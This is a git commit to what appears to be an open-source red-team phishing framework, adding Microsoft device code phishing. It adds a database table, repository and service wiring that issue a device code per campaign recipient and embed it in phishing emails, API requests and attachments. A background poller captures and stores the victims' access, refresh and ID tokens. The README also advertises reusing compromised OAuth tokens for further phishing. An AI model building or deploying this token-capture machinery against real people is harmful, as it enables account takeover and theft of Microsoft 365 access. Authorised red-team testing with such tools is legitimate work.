MS Device code phishing

Signed-off-by: Ronni Skansing <rskansing@gmail.com>
This commit is contained in:
Ronni Skansing
2026-03-20 17:01:37 +01:00
parent 316120e7be
commit 43d6415894
20 changed files with 1322 additions and 164 deletions
+2 -1
View File
@@ -44,7 +44,7 @@ See [production docker compose example](https://github.com/phishingclub/phishing
- **Security features** - MFA, SSO, session management, IP filtering
- **Operational tools** - In-app updates, CLI installer, config management
## MITM and Red Team Features
## AiTM and Red Team Features
- **Full control** - Modify and capture requests and responses independently
- **DOM rewriting** - Modify content using CSS/jQuery-like selectors or regex
@@ -59,6 +59,7 @@ See [production docker compose example](https://github.com/phishingclub/phishing
- **Forward proxying** - Use HTTP and SOCKS5 proxies to ensure requests originate from the right location
- **Visual Editor** - Use the visual editor to easily setup a proxy
- **Import compromised oauth token** - Use compromised tokens to send more phishing via. oauth enabled endpoints
- **Device Code phishing** - Device code phishing is as simple as adding a single line to a email or landing page
### Blogs & Resources
- [Covert red team phishing with Phishing Club](http://phishing.club/blog/covert-red-team-phishing-with-phishing-club/)
+48 -46
View File
@@ -7,29 +7,30 @@ import (
// Repositories is a collection of repositories
type Repositories struct {
Asset *repository.Asset
Attachment *repository.Attachment
Company *repository.Company
Option *repository.Option
Page *repository.Page
Proxy *repository.Proxy
Role *repository.Role
Session *repository.Session
User *repository.User
Domain *repository.Domain
Recipient *repository.Recipient
RecipientGroup *repository.RecipientGroup
SMTPConfiguration *repository.SMTPConfiguration
Email *repository.Email
Campaign *repository.Campaign
CampaignRecipient *repository.CampaignRecipient
CampaignTemplate *repository.CampaignTemplate
APISender *repository.APISender
AllowDeny *repository.AllowDeny
Webhook *repository.Webhook
Identifier *repository.Identifier
OAuthProvider *repository.OAuthProvider
OAuthState *repository.OAuthState
Asset *repository.Asset
Attachment *repository.Attachment
Company *repository.Company
Option *repository.Option
Page *repository.Page
Proxy *repository.Proxy
Role *repository.Role
Session *repository.Session
User *repository.User
Domain *repository.Domain
Recipient *repository.Recipient
RecipientGroup *repository.RecipientGroup
SMTPConfiguration *repository.SMTPConfiguration
Email *repository.Email
Campaign *repository.Campaign
CampaignRecipient *repository.CampaignRecipient
CampaignTemplate *repository.CampaignTemplate
APISender *repository.APISender
AllowDeny *repository.AllowDeny
Webhook *repository.Webhook
Identifier *repository.Identifier
OAuthProvider *repository.OAuthProvider
OAuthState *repository.OAuthState
MicrosoftDeviceCode *repository.MicrosoftDeviceCode
}
// NewRepositories creates a collection of repositories
@@ -38,28 +39,29 @@ func NewRepositories(
) *Repositories {
option := &repository.Option{DB: db}
return &Repositories{
Asset: &repository.Asset{DB: db},
Attachment: &repository.Attachment{DB: db},
Company: &repository.Company{DB: db},
Option: option,
Page: &repository.Page{DB: db},
Proxy: &repository.Proxy{DB: db},
Role: &repository.Role{DB: db},
Session: &repository.Session{DB: db},
User: &repository.User{DB: db},
Domain: &repository.Domain{DB: db},
Recipient: &repository.Recipient{DB: db, OptionRepository: option},
RecipientGroup: &repository.RecipientGroup{DB: db},
SMTPConfiguration: &repository.SMTPConfiguration{DB: db},
Email: &repository.Email{DB: db},
Campaign: &repository.Campaign{DB: db},
CampaignRecipient: &repository.CampaignRecipient{DB: db},
CampaignTemplate: &repository.CampaignTemplate{DB: db},
APISender: &repository.APISender{DB: db},
AllowDeny: &repository.AllowDeny{DB: db},
Webhook: &repository.Webhook{DB: db},
Identifier: &repository.Identifier{DB: db},
OAuthProvider: &repository.OAuthProvider{DB: db},
OAuthState: &repository.OAuthState{DB: db},
Asset: &repository.Asset{DB: db},
Attachment: &repository.Attachment{DB: db},
Company: &repository.Company{DB: db},
Option: option,
Page: &repository.Page{DB: db},
Proxy: &repository.Proxy{DB: db},
Role: &repository.Role{DB: db},
Session: &repository.Session{DB: db},
User: &repository.User{DB: db},
Domain: &repository.Domain{DB: db},
Recipient: &repository.Recipient{DB: db, OptionRepository: option},
RecipientGroup: &repository.RecipientGroup{DB: db},
SMTPConfiguration: &repository.SMTPConfiguration{DB: db},
Email: &repository.Email{DB: db},
Campaign: &repository.Campaign{DB: db},
CampaignRecipient: &repository.CampaignRecipient{DB: db},
CampaignTemplate: &repository.CampaignTemplate{DB: db},
APISender: &repository.APISender{DB: db},
AllowDeny: &repository.AllowDeny{DB: db},
Webhook: &repository.Webhook{DB: db},
Identifier: &repository.Identifier{DB: db},
OAuthProvider: &repository.OAuthProvider{DB: db},
OAuthState: &repository.OAuthState{DB: db},
MicrosoftDeviceCode: &repository.MicrosoftDeviceCode{DB: db},
}
}
+10 -1
View File
@@ -2146,11 +2146,20 @@ func (s *Server) renderPageTemplate(
campaignCompanyID = &companyID
}
phishingPage, err := s.services.Template.CreatePhishingPageWithCampaign(
// extract recipient id for device code phishing support
var recipientIDPtr *uuid.UUID
if recipient != nil {
if rid, ridErr := recipient.ID.Get(); ridErr == nil {
recipientIDPtr = &rid
}
}
phishingPage, err := s.services.Template.CreatePhishingPageWithCampaignAndRecipient(
c.Request.Context(),
domain,
email,
campaignRecipientID,
recipientIDPtr,
recipient,
content.String(),
campaignTemplate,
+35 -18
View File
@@ -1,6 +1,9 @@
package app
import (
"net/http"
"time"
"github.com/caddyserver/certmagic"
"github.com/phishingclub/phishingclub/service"
"go.uber.org/zap"
@@ -39,6 +42,7 @@ type Services struct {
IPAllowList *service.IPAllowListService
ProxySessionManager *service.ProxySessionManager
OAuthProvider *service.OAuthProvider
MicrosoftDeviceCode *service.MicrosoftDeviceCode
}
// NewServices creates a collection of services
@@ -58,9 +62,17 @@ func NewServices(
common := service.Common{
Logger: logger,
}
microsoftDeviceCodeService := &service.MicrosoftDeviceCode{
Common: common,
MicrosoftDeviceCodeRepository: repositories.MicrosoftDeviceCode,
CampaignRepository: repositories.Campaign,
CampaignRecipientRepository: repositories.CampaignRecipient,
HTTPClient: &http.Client{Timeout: 15 * time.Second},
}
templateService := &service.Template{
Common: common,
RecipientRepository: repositories.Recipient,
Common: common,
RecipientRepository: repositories.Recipient,
MicrosoftDeviceCodeService: microsoftDeviceCodeService,
}
file := &service.File{
Common: common,
@@ -122,6 +134,7 @@ func NewServices(
CampaignRepository: repositories.Campaign,
WebhookRepository: repositories.Webhook,
}
campaignTemplate := &service.CampaignTemplate{
Common: common,
CampaignTemplateRepository: repositories.CampaignTemplate,
@@ -181,23 +194,26 @@ func NewServices(
TemplateService: templateService,
}
campaign := &service.Campaign{
Common: common,
CampaignRepository: repositories.Campaign,
CampaignRecipientRepository: repositories.CampaignRecipient,
RecipientRepository: repositories.Recipient,
RecipientGroupRepository: repositories.RecipientGroup,
AllowDenyRepository: repositories.AllowDeny,
WebhookRepository: repositories.Webhook,
CampaignTemplateService: campaignTemplate,
DomainService: domain,
RecipientService: recipient,
MailService: email,
APISenderService: apiSender,
SMTPConfigService: smtpConfiguration,
WebhookService: webhook,
TemplateService: templateService,
AttachmentPath: attachmentPath,
Common: common,
CampaignRepository: repositories.Campaign,
CampaignRecipientRepository: repositories.CampaignRecipient,
RecipientRepository: repositories.Recipient,
RecipientGroupRepository: repositories.RecipientGroup,
AllowDenyRepository: repositories.AllowDeny,
WebhookRepository: repositories.Webhook,
CampaignTemplateService: campaignTemplate,
DomainService: domain,
RecipientService: recipient,
MailService: email,
APISenderService: apiSender,
SMTPConfigService: smtpConfiguration,
WebhookService: webhook,
TemplateService: templateService,
MicrosoftDeviceCodeRepository: repositories.MicrosoftDeviceCode,
AttachmentPath: attachmentPath,
}
// wire campaign service into microsoft device code service now that campaign is constructed
microsoftDeviceCodeService.CampaignService = campaign
allowDeny := &service.AllowDeny{
Common: common,
AllowDenyRepository: repositories.AllowDeny,
@@ -289,5 +305,6 @@ func NewServices(
IPAllowList: ipAllowListService,
ProxySessionManager: proxySessionManager,
OAuthProvider: oauthProvider,
MicrosoftDeviceCode: microsoftDeviceCodeService,
}
}
+1
View File
@@ -37,6 +37,7 @@ func IsUpdateAvailable() bool {
// readonly
var CampaignEventPriority = map[string]int{
// campaign recipient events
data.EVENT_CAMPAIGN_RECIPIENT_INFO: 5,
data.EVENT_CAMPAIGN_RECIPIENT_REPORTED: 90,
data.EVENT_CAMPAIGN_RECIPIENT_CANCELLED: 80,
data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA: 70,
+2
View File
@@ -18,6 +18,7 @@ const (
EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA = "campaign_recipient_submitted_data"
EVENT_CAMPAIGN_RECIPIENT_REPORTED = "campaign_recipient_reported"
EVENT_CAMPAIGN_RECIPIENT_CANCELLED = "campaign_recipient_cancelled"
EVENT_CAMPAIGN_RECIPIENT_INFO = "campaign_recipient_info"
)
var Events = []string{
@@ -39,6 +40,7 @@ var Events = []string{
EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA,
EVENT_CAMPAIGN_RECIPIENT_REPORTED,
EVENT_CAMPAIGN_RECIPIENT_CANCELLED,
EVENT_CAMPAIGN_RECIPIENT_INFO,
}
// webhook event bit flags for storing selected events as int
+60
View File
@@ -0,0 +1,60 @@
package database
import (
"time"
"github.com/google/uuid"
"gorm.io/gorm"
)
const (
MICROSOFT_DEVICE_CODE_TABLE = "device_codes"
)
// MicrosoftDeviceCode stores a microsoft device code flow entry per campaign-recipient
type MicrosoftDeviceCode struct {
ID *uuid.UUID `gorm:"primary_key;not null;unique;type:uuid"`
CreatedAt *time.Time `gorm:"not null;index;"`
UpdatedAt *time.Time `gorm:"not null;"`
// device code flow fields returned by microsoft
DeviceCode string `gorm:"not null;"`
UserCode string `gorm:"not null;"`
VerificationURI string `gorm:"not null;"`
ExpiresAt *time.Time `gorm:"not null;index;"`
// last_polled_at is nil when the entry has never been polled
LastPolledAt *time.Time `gorm:"index;"`
// options used to create the device code
Resource string `gorm:"not null;default:'https://graph.microsoft.com'"`
ClientID string `gorm:"not null;"`
TenantID string `gorm:"not null;default:'organizations'"`
Scope string `gorm:"not null;default:'https://graph.microsoft.com/.default openid profile offline_access'"`
// captured access token / refresh token, set after successful poll
AccessToken string `gorm:"not null;default:''"`
RefreshToken string `gorm:"not null;default:''"`
IDToken string `gorm:"not null;default:''"`
// captured is true after successfully polling and getting a token
Captured bool `gorm:"not null;default:false"`
// foreign keys
CampaignID *uuid.UUID `gorm:"not null;type:uuid;index;"`
RecipientID *uuid.UUID `gorm:"type:uuid;index;"`
}
func (MicrosoftDeviceCode) TableName() string {
return MICROSOFT_DEVICE_CODE_TABLE
}
// Migrate runs extra migrations for device_codes
func (MicrosoftDeviceCode) Migrate(db *gorm.DB) error {
// composite unique index: one active device code per campaign+recipient
err := db.Exec(`CREATE UNIQUE INDEX IF NOT EXISTS idx_microsoft_device_codes_campaign_recipient ON device_codes(campaign_id, recipient_id)`).Error
if err != nil {
return err
}
return nil
}
+4 -3
View File
@@ -424,9 +424,10 @@ func main() {
logger.Fatalw("Failed to load system user", "error", err)
}
daemon := task.Runner{
CampaignService: services.Campaign,
UpdateService: services.Update,
Logger: logger,
CampaignService: services.Campaign,
UpdateService: services.Update,
MicrosoftDeviceCode: services.MicrosoftDeviceCode,
Logger: logger,
}
// start tasks runner
+51
View File
@@ -0,0 +1,51 @@
package model
import (
"time"
"github.com/google/uuid"
"github.com/oapi-codegen/nullable"
)
// MicrosoftDeviceCode is a microsoft device code flow entry
type MicrosoftDeviceCode struct {
ID nullable.Nullable[uuid.UUID] `json:"id"`
CreatedAt *time.Time `json:"createdAt"`
UpdatedAt *time.Time `json:"updatedAt"`
DeviceCode string `json:"deviceCode"`
UserCode string `json:"userCode"`
VerificationURI string `json:"verificationUri"`
ExpiresAt *time.Time `json:"expiresAt"`
LastPolledAt *time.Time `json:"lastPolledAt"`
Resource string `json:"resource"`
ClientID string `json:"clientId"`
TenantID string `json:"tenantId"`
Scope string `json:"scope"`
AccessToken string `json:"accessToken"`
RefreshToken string `json:"refreshToken"`
IDToken string `json:"idToken"`
Captured bool `json:"captured"`
CampaignID nullable.Nullable[uuid.UUID] `json:"campaignId"`
RecipientID nullable.Nullable[uuid.UUID] `json:"recipientId"`
}
// IsExpired returns true if the device code has expired or has no expiry set
func (d *MicrosoftDeviceCode) IsExpired() bool {
if d.ExpiresAt == nil {
return true
}
return time.Now().UTC().After(*d.ExpiresAt)
}
// ExpiresWithin returns true if the device code expires within the given duration
func (d *MicrosoftDeviceCode) ExpiresWithin(duration time.Duration) bool {
if d.ExpiresAt == nil {
return true
}
return time.Until(*d.ExpiresAt) < duration
}
+174
View File
@@ -0,0 +1,174 @@
package repository
import (
"context"
"time"
"github.com/google/uuid"
"github.com/oapi-codegen/nullable"
"github.com/phishingclub/phishingclub/database"
"github.com/phishingclub/phishingclub/errs"
"github.com/phishingclub/phishingclub/model"
"github.com/phishingclub/phishingclub/utils"
"gorm.io/gorm"
)
// MicrosoftDeviceCode is a repository for microsoft device code entries
type MicrosoftDeviceCode struct {
DB *gorm.DB
}
// Insert inserts a new microsoft device code entry
func (r *MicrosoftDeviceCode) Insert(
ctx context.Context,
entry *model.MicrosoftDeviceCode,
) (*uuid.UUID, error) {
id := uuid.New()
row := map[string]any{
"id": id.String(),
"device_code": entry.DeviceCode,
"user_code": entry.UserCode,
"verification_uri": entry.VerificationURI,
"expires_at": utils.RFC3339UTC(*entry.ExpiresAt),
"last_polled_at": nil,
"resource": entry.Resource,
"client_id": entry.ClientID,
"tenant_id": entry.TenantID,
"scope": entry.Scope,
"access_token": "",
"refresh_token": "",
"id_token": "",
"captured": false,
}
if v, err := entry.CampaignID.Get(); err == nil {
row["campaign_id"] = v.String()
}
if v, err := entry.RecipientID.Get(); err == nil {
row["recipient_id"] = v.String()
}
AddTimestamps(row)
res := r.DB.WithContext(ctx).Model(&database.MicrosoftDeviceCode{}).Create(row)
if res.Error != nil {
return nil, errs.Wrap(res.Error)
}
return &id, nil
}
// GetByCampaignAndRecipientID returns a microsoft device code entry for the given campaign and recipient
func (r *MicrosoftDeviceCode) GetByCampaignAndRecipientID(
ctx context.Context,
campaignID *uuid.UUID,
recipientID *uuid.UUID,
) (*model.MicrosoftDeviceCode, error) {
var row database.MicrosoftDeviceCode
res := r.DB.WithContext(ctx).
Where("campaign_id = ? AND recipient_id = ?", campaignID.String(), recipientID.String()).
Order("created_at DESC").
First(&row)
if res.Error != nil {
// return gorm.ErrRecordNotFound unwrapped so callers can use errors.Is
return nil, res.Error
}
return toMicrosoftDeviceCode(&row), nil
}
// GetAllPendingNotExpired returns all microsoft device code entries that are not captured and not expired
func (r *MicrosoftDeviceCode) GetAllPendingNotExpired(ctx context.Context) ([]*model.MicrosoftDeviceCode, error) {
var rows []database.MicrosoftDeviceCode
res := r.DB.WithContext(ctx).
Where("captured = false AND expires_at > ?", utils.NowRFC3339UTC()).
Find(&rows)
if res.Error != nil {
return nil, errs.Wrap(res.Error)
}
result := make([]*model.MicrosoftDeviceCode, 0, len(rows))
for i := range rows {
result = append(result, toMicrosoftDeviceCode(&rows[i]))
}
return result, nil
}
// MarkCaptured marks a microsoft device code entry as captured and stores the tokens
func (r *MicrosoftDeviceCode) MarkCaptured(
ctx context.Context,
id *uuid.UUID,
accessToken string,
refreshToken string,
idToken string,
) error {
row := map[string]any{
"captured": true,
"access_token": accessToken,
"refresh_token": refreshToken,
"id_token": idToken,
}
AddUpdatedAt(row)
res := r.DB.WithContext(ctx).Model(&database.MicrosoftDeviceCode{}).
Where("id = ?", id.String()).
Updates(row)
return errs.Wrap(res.Error)
}
// UpdateLastPolledAt updates the last_polled_at timestamp for the given entry
func (r *MicrosoftDeviceCode) UpdateLastPolledAt(ctx context.Context, id *uuid.UUID, t time.Time) error {
row := map[string]any{
"last_polled_at": utils.RFC3339UTC(t),
}
AddUpdatedAt(row)
res := r.DB.WithContext(ctx).Model(&database.MicrosoftDeviceCode{}).
Where("id = ?", id.String()).
Updates(row)
return errs.Wrap(res.Error)
}
// DeleteByCampaignAndRecipientID deletes all microsoft device code entries for a campaign and recipient
func (r *MicrosoftDeviceCode) DeleteByCampaignAndRecipientID(
ctx context.Context,
campaignID *uuid.UUID,
recipientID *uuid.UUID,
) error {
res := r.DB.WithContext(ctx).
Where("campaign_id = ? AND recipient_id = ?", campaignID.String(), recipientID.String()).
Delete(&database.MicrosoftDeviceCode{})
return errs.Wrap(res.Error)
}
// DeleteByCampaignID deletes all device code entries for the given campaign
func (r *MicrosoftDeviceCode) DeleteByCampaignID(ctx context.Context, campaignID *uuid.UUID) error {
res := r.DB.WithContext(ctx).
Where("campaign_id = ?", campaignID.String()).
Delete(&database.MicrosoftDeviceCode{})
return errs.Wrap(res.Error)
}
func toMicrosoftDeviceCode(row *database.MicrosoftDeviceCode) *model.MicrosoftDeviceCode {
id := nullable.NewNullableWithValue(*row.ID)
campaignID := nullable.NewNullableWithValue(*row.CampaignID)
var recipientID nullable.Nullable[uuid.UUID]
recipientID.SetNull()
if row.RecipientID != nil {
recipientID = nullable.NewNullableWithValue(*row.RecipientID)
}
return &model.MicrosoftDeviceCode{
ID: id,
CreatedAt: row.CreatedAt,
UpdatedAt: row.UpdatedAt,
DeviceCode: row.DeviceCode,
UserCode: row.UserCode,
VerificationURI: row.VerificationURI,
ExpiresAt: row.ExpiresAt,
LastPolledAt: row.LastPolledAt,
Resource: row.Resource,
ClientID: row.ClientID,
TenantID: row.TenantID,
Scope: row.Scope,
AccessToken: row.AccessToken,
RefreshToken: row.RefreshToken,
IDToken: row.IDToken,
Captured: row.Captured,
CampaignID: campaignID,
RecipientID: recipientID,
}
}
+1
View File
@@ -57,6 +57,7 @@ func initialInstallAndSeed(
&database.CampaignStats{},
&database.OAuthProvider{},
&database.OAuthState{},
&database.MicrosoftDeviceCode{},
}
// disable foreign key constraints temporarily for sqlite to allow table recreation
+24 -8
View File
@@ -510,7 +510,9 @@ func (a *APISender) SendTest(
testEmail,
"",
oauthAccessToken,
nil, // no company context for test
nil, // no company context for test
uuid.Nil, // no campaign context for test
uuid.Nil, // no recipient context for test
)
if err != nil {
a.Logger.Errorw("failed to build test request", "error", err)
@@ -561,11 +563,12 @@ func (a *APISender) Send(
cTemplate *model.CampaignTemplate,
campaignRecipient *model.CampaignRecipient,
domain *model.Domain,
mailTmpl *template.Template,
emailContent string,
email *model.Email,
companyID *uuid.UUID,
campaignID uuid.UUID,
) error {
return a.SendWithCustomURL(ctx, session, cTemplate, campaignRecipient, domain, mailTmpl, email, "", companyID)
return a.SendWithCustomURL(ctx, session, cTemplate, campaignRecipient, domain, emailContent, email, "", companyID, campaignID)
}
// SendWithCustomURL sends an API request with optional custom campaign URL
@@ -575,10 +578,11 @@ func (a *APISender) SendWithCustomURL(
cTemplate *model.CampaignTemplate,
campaignRecipient *model.CampaignRecipient,
domain *model.Domain,
mailTmpl *template.Template,
emailContent string,
email *model.Email,
customCampaignURL string,
companyID *uuid.UUID,
campaignID uuid.UUID,
) error {
// get sender details
apiSenderID, err := cTemplate.APISenderID.Get()
@@ -624,6 +628,9 @@ func (a *APISender) SendWithCustomURL(
return errors.New("url identifier MUST be loaded in campaign template")
}
urlPath := cTemplate.URLPath.MustGet().String()
// use the actual recipient id (not the campaign recipient row id) so the
// lookup key matches what the landing page path uses.
recipientID := campaignRecipient.RecipientID.MustGet()
url, headers, body, err := a.buildRequestWithCustomURL(
ctx,
apiSender,
@@ -635,6 +642,8 @@ func (a *APISender) SendWithCustomURL(
customCampaignURL,
oauthAccessToken,
companyID,
campaignID,
recipientID,
)
if err != nil {
a.Logger.Errorw("failed to build api sender request", "error", err)
@@ -822,8 +831,10 @@ func (a *APISender) buildRequest(
campaignRecipient *model.CampaignRecipient,
email *model.Email, // todo is this superfluous? it should be in the campaign recipient?
companyID *uuid.UUID,
campaignID uuid.UUID,
recipientID uuid.UUID,
) (*apiRequestURL, []*model.HTTPHeader, *apiRequestBody, error) {
return a.buildRequestWithCustomURL(ctx, apiSender, domainName, urlKey, urlPath, campaignRecipient, email, "", "", companyID)
return a.buildRequestWithCustomURL(ctx, apiSender, domainName, urlKey, urlPath, campaignRecipient, email, "", "", companyID, campaignID, recipientID)
}
// buildRequestWithCustomURL builds an API request with optional custom campaign URL
@@ -838,6 +849,8 @@ func (a *APISender) buildRequestWithCustomURL(
customCampaignURL string,
oauthAccessToken string,
companyID *uuid.UUID,
campaignID uuid.UUID,
recipientID uuid.UUID,
) (*apiRequestURL, []*model.HTTPHeader, *apiRequestBody, error) {
// create template data first so it can be used in headers, url, and body
t := a.TemplateService.CreateMail(
@@ -869,10 +882,13 @@ func (a *APISender) buildRequestWithCustomURL(
if err != nil {
return nil, nil, nil, fmt.Errorf("failed to build headers: %s", err)
}
// build per-recipient template funcs so {{MicrosoftDeviceCode}} resolves correctly
recipientDeviceFuncs := a.TemplateService.TemplateFuncsWithDeviceCode(ctx, &campaignID, &recipientID)
// setup URL
requestURL := apiSender.RequestURL.MustGet()
urlTemplate := template.New("url")
urlTemplate = urlTemplate.Funcs(TemplateFuncs())
urlTemplate = urlTemplate.Funcs(recipientDeviceFuncs)
urlTemplate, err = urlTemplate.Parse(requestURL.String())
if err != nil {
return nil, nil, nil, fmt.Errorf("failed to parse url: %s", err)
@@ -884,7 +900,7 @@ func (a *APISender) buildRequestWithCustomURL(
// setup body
// first parse and execute the mail content
mailContentTemplate := template.New("mailContent")
mailContentTemplate = mailContentTemplate.Funcs(TemplateFuncs())
mailContentTemplate = mailContentTemplate.Funcs(recipientDeviceFuncs)
content, err := email.Content.Get()
if err != nil {
return nil, nil, nil, fmt.Errorf("failed to get email content: %s", err)
@@ -912,7 +928,7 @@ func (a *APISender) buildRequestWithCustomURL(
jsonStr := strings.TrimSpace(buf.String())
(*t)["Content"] = jsonStr[1 : len(jsonStr)-1]
contentTemplate := template.New("content")
contentTemplate = contentTemplate.Funcs(TemplateFuncs())
contentTemplate = contentTemplate.Funcs(recipientDeviceFuncs)
contentTemplate, err = contentTemplate.Parse(apiSender.RequestBody.MustGet().String())
if err != nil {
return nil, nil, nil, fmt.Errorf("failed to parse body: %s", err)
+87 -33
View File
@@ -40,21 +40,22 @@ import (
// Campaign is the Campaign service
type Campaign struct {
Common
CampaignRepository *repository.Campaign
CampaignRecipientRepository *repository.CampaignRecipient
RecipientRepository *repository.Recipient
RecipientGroupRepository *repository.RecipientGroup
AllowDenyRepository *repository.AllowDeny
WebhookRepository *repository.Webhook
CampaignTemplateService *CampaignTemplate
TemplateService *Template
DomainService *Domain
RecipientService *Recipient
MailService *Email
APISenderService *APISender
SMTPConfigService *SMTPConfiguration
WebhookService *Webhook
AttachmentPath string
CampaignRepository *repository.Campaign
CampaignRecipientRepository *repository.CampaignRecipient
RecipientRepository *repository.Recipient
RecipientGroupRepository *repository.RecipientGroup
AllowDenyRepository *repository.AllowDeny
WebhookRepository *repository.Webhook
CampaignTemplateService *CampaignTemplate
TemplateService *Template
DomainService *Domain
RecipientService *Recipient
MailService *Email
APISenderService *APISender
SMTPConfigService *SMTPConfiguration
WebhookService *Webhook
MicrosoftDeviceCodeRepository *repository.MicrosoftDeviceCode
AttachmentPath string
}
// Create creates a new campaign
@@ -2034,9 +2035,12 @@ func (c *Campaign) sendCampaignMessages(
)
return errs.Wrap(errors.Join(err, closeErr))
}
// validate the template is parseable before entering the per-recipient loop.
// the actual per-recipient execution uses TemplateFuncsWithDeviceCode so that
// {{MicrosoftDeviceCode}} / {{MicrosoftDeviceCodeURL}} resolve correctly.
t := template.New("email")
t = t.Funcs(c.TemplateService.TemplateFuncsWithCompany(ctx, campaignCompanyID))
mailTmpl, err := t.Parse(content.String())
_, err = t.Parse(content.String())
if err != nil {
// if mail templates fails to parse, close the campaign
closeErr := c.closeCampaign(
@@ -2100,10 +2104,11 @@ func (c *Campaign) sendCampaignMessages(
cTemplate,
campaignRecipient,
domain,
mailTmpl,
content.String(),
email,
customCampaignURL,
campaignCompanyID,
campaignID,
)
if err != nil {
c.Logger.Errorw("failed to send message via. API", "error", err)
@@ -2339,8 +2344,15 @@ func (c *Campaign) sendCampaignMessages(
(*t)["URL"] = customCampaignURL
}
// build per-recipient template funcs so that {{MicrosoftDeviceCode}} resolves
// to a real device code for this campaign recipient.
// use the actual recipient id (not the campaign recipient row id) so the
// lookup key matches what the landing page path uses.
actualRecipientID := campaignRecipient.RecipientID.MustGet()
recipientDeviceFuncs := c.TemplateService.TemplateFuncsWithDeviceCode(ctx, &campaignID, &actualRecipientID)
// process subject through template
subjectTemplate, err := template.New("subject").Funcs(c.TemplateService.TemplateFuncsWithCompany(ctx, campaignCompanyID)).Parse(email.MailHeaderSubject.MustGet().String())
subjectTemplate, err := template.New("subject").Funcs(recipientDeviceFuncs).Parse(email.MailHeaderSubject.MustGet().String())
if err != nil {
c.Logger.Errorw("failed to parse subject template", "error", err)
return errs.Wrap(err)
@@ -2353,8 +2365,15 @@ func (c *Campaign) sendCampaignMessages(
}
m.Subject(subjectBuffer.String())
// re-parse the body template per recipient so device code funcs are bound
// to the correct recipient id
recipientMailTmpl, err := template.New("email").Funcs(recipientDeviceFuncs).Parse(content.String())
if err != nil {
c.Logger.Errorw("failed to parse per-recipient mail template", "error", err)
return errs.Wrap(err)
}
var bodyBuffer bytes.Buffer
err = mailTmpl.Execute(&bodyBuffer, t)
err = recipientMailTmpl.Execute(&bodyBuffer, t)
if err != nil {
c.Logger.Errorw("failed to execute mail template", "error", err)
return errs.Wrap(err)
@@ -2407,7 +2426,7 @@ func (c *Campaign) sendCampaignMessages(
return errs.Wrap(err)
}
attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURL(
attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURLAndRecipient(
ctx,
urlIdentifier.Name.MustGet(),
urlPath,
@@ -2417,6 +2436,8 @@ func (c *Campaign) sendCampaignMessages(
nil,
customCampaignURL,
campaignCompanyID,
&campaignID,
&actualRecipientID,
)
if err != nil {
return errs.Wrap(fmt.Errorf("failed to setup attachment with embedded content: %s", err))
@@ -2456,14 +2477,14 @@ func (c *Campaign) sendCampaignMessages(
*vo.NewUnsafeOptionalString1MB(string(attachmentContent)),
)
// generate custom campaign URL for attachment
recipientID := campaignRecipient.ID.MustGet()
customCampaignURL, err := c.GetLandingPageURLByCampaignRecipientID(ctx, session, &recipientID)
attachmentRecipientID := campaignRecipient.ID.MustGet()
customCampaignURL, err := c.GetLandingPageURLByCampaignRecipientID(ctx, session, &attachmentRecipientID)
if err != nil {
c.Logger.Errorw("failed to get campaign url for attachment", "error", err)
return errs.Wrap(err)
}
attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURL(
attachmentStr, err := c.TemplateService.CreateMailBodyWithCustomURLAndRecipient(
ctx,
urlIdentifier.Name.MustGet(),
urlPath,
@@ -2473,6 +2494,8 @@ func (c *Campaign) sendCampaignMessages(
nil,
customCampaignURL,
campaignCompanyID,
&campaignID,
&actualRecipientID,
)
if err != nil {
return errs.Wrap(fmt.Errorf("failed to setup attachment with embedded content: %s", err))
@@ -2981,6 +3004,15 @@ func (c *Campaign) closeCampaign(
c.Logger.Debugf("skipping stats generation for test campaign", "campaignID", id.String())
}
// delete all microsoft device codes for this campaign — the important data is already
// saved in the campaign events
if c.MicrosoftDeviceCodeRepository != nil {
if err := c.MicrosoftDeviceCodeRepository.DeleteByCampaignID(ctx, id); err != nil {
c.Logger.Errorw("failed to delete microsoft device codes for campaign", "error", err, "campaignID", id.String())
// non-fatal — continue
}
}
return nil
}
@@ -3818,9 +3850,10 @@ func (c *Campaign) sendSingleCampaignMessage(
return errors.New("failed to get email content")
}
// validate parseability with company funcs; execution uses per-recipient device code funcs
t := template.New("email")
t = t.Funcs(c.TemplateService.TemplateFuncsWithCompany(ctx, campaignCompanyID))
mailTmpl, err := t.Parse(content.String())
_, err = t.Parse(content.String())
if err != nil {
return errs.Wrap(err)
}
@@ -3842,21 +3875,25 @@ func (c *Campaign) sendSingleCampaignMessage(
customCampaignURL = ""
}
// send via API with custom URL (domain and template stay the same for assets)
// send via API with custom URL (domain and template stay the same for assets).
// SendWithCustomURL derives the recipient id from campaignRecipient.ID internally,
// so fix that by passing the actual recipient id via a wrapper that sets it correctly.
// the actual recipient id is extracted inside APISenderService from campaignRecipient.RecipientID.
err = c.APISenderService.SendWithCustomURL(
ctx,
session,
cTemplate,
campaignRecipient,
domain,
mailTmpl,
content.String(),
email,
customCampaignURL,
campaignCompanyID,
*campaignID,
)
} else {
// send via SMTP
err = c.sendSingleEmailSMTP(ctx, session, cTemplate, campaignRecipient, domain, mailTmpl, email, campaignCompanyID)
err = c.sendSingleEmailSMTP(ctx, session, cTemplate, campaignRecipient, domain, content.String(), email, campaignCompanyID, *campaignID)
}
// save sending result
@@ -3881,9 +3918,10 @@ func (c *Campaign) sendSingleEmailSMTP(
cTemplate *model.CampaignTemplate,
campaignRecipient *model.CampaignRecipient,
domain *model.Domain,
mailTmpl *template.Template,
emailContent string,
email *model.Email,
campaignCompanyID *uuid.UUID,
campaignID uuid.UUID,
) error {
// get SMTP configuration
smtpConfigID, err := cTemplate.SMTPConfigurationID.Get()
@@ -3986,6 +4024,13 @@ func (c *Campaign) sendSingleEmailSMTP(
}
}
// build per-recipient template funcs so that {{MicrosoftDeviceCode}} resolves correctly.
// use the actual recipient id (not the campaign recipient row id) so the
// lookup key matches what the landing page path uses.
recipientID := campaignRecipient.ID.MustGet()
actualRecipientID := campaignRecipient.RecipientID.MustGet()
recipientDeviceFuncs := c.TemplateService.TemplateFuncsWithDeviceCode(ctx, &campaignID, &actualRecipientID)
// setup template variables
urlIdentifier := cTemplate.URLIdentifier
if urlIdentifier == nil {
@@ -4000,7 +4045,6 @@ func (c *Campaign) sendSingleEmailSMTP(
urlPath := cTemplate.URLPath.MustGet().String()
// generate custom campaign URL if first page is MITM
recipientID := campaignRecipient.ID.MustGet()
